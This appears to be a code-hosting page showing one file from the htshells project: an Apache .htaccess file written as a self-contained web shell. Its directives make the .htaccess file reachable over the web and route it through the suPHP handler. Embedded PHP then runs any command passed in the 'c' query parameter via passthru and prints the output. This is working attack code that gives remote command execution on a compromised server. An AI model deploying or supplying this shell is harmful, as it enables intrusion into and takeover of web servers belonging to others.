0xBADCA7/htshells/master/shell/mod_suphp.shell.htaccess - Htaccess File

0xBADCA7/htshells/master/shell/mod_suphp.shell.htaccess

# <!--  Self contained .htaccess web shell - Part of the htshell project
# <!-- Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^.ht">
# Uncomment the line below for Apache2.4 and newer
# Require all granted
    Order allow,deny
    Allow from all
</Files>

# Make .htaccess file be interpreted handled by suPHP file.
# unfortunately susPHP_* directives aren't allowed in .htaccess files
# so this is the only functional approach
AddType application/x-httpd-suphp .htaccess
###### SHELL ###### <?php echo "-->suPHP does not set ENV, so use full path for binaries:<form method='get'><input type='text' name='c' value='".$_GET['c']."'><input type='submit' name='go' value='Go!'></form>n<pre>";passthru($_GET['c']." 2>&1");echo "
"; ?>

On Github License

Files

Download PDF of Htaccess file
ENV, GET

Comments

Apache